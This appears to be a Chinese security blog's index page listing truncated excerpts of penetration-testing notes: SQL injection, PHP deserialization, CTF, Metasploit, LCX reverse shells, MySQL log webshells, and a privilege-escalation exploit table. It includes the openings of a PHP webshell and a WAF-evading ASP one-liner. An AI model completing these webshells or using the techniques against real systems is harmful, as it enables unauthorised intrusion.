简介：SQL注入是一个常见的漏洞，在所有的安全防护统计数据儿结果中显示，SQL注入几乎占据网络攻击问题的60%左右，由此...

简单记录一下反序列化0x00什么是序列化在PHP中右serialize()和unserialize()两个函数...

博主是个CTF小菜，也是第一次跟着大佬去参加线下比赛，收获颇丰，因为菜，只能记录部分，后面再等大佬的WriteUp吧~...

了解一门语言必须得了解其基础，之前做渗透测试，就是xjb测试，还以为自己要上天了，沉下心来，一个萝卜一个坑，加油吧，骚年...

很早的时候，渗透吧群里的朋友提出的一个问题，自己也是迷迷糊糊，遂记之如下！0x00示例ctf.php<?...

Metasploit内网劫持的笔记内网渗透劫持DNS拿到cmdshell,如下步骤：ifconfig...

在学习KaliLinux渗透时候记录的Metasploit使用笔记0x00简介Metasploit是一款...

LCX弹个shellLCX端口转发（突破内网不能连接）Webshell执行-slave&l...

四处搜刮,风雨飘摇<?php$a=$_GET['a'];$b=$_GET['b']...

Mysql通过日志拿shellemmm~有点舒服0x00利用条件root网站物理路径文件位置未...

ASP过狗一句话<%dimx1,x2x1=request("pass")x2=...

避免忘记，记录提权EXP对应表，便于快速提权0x00Windows#SecurityBulletin#...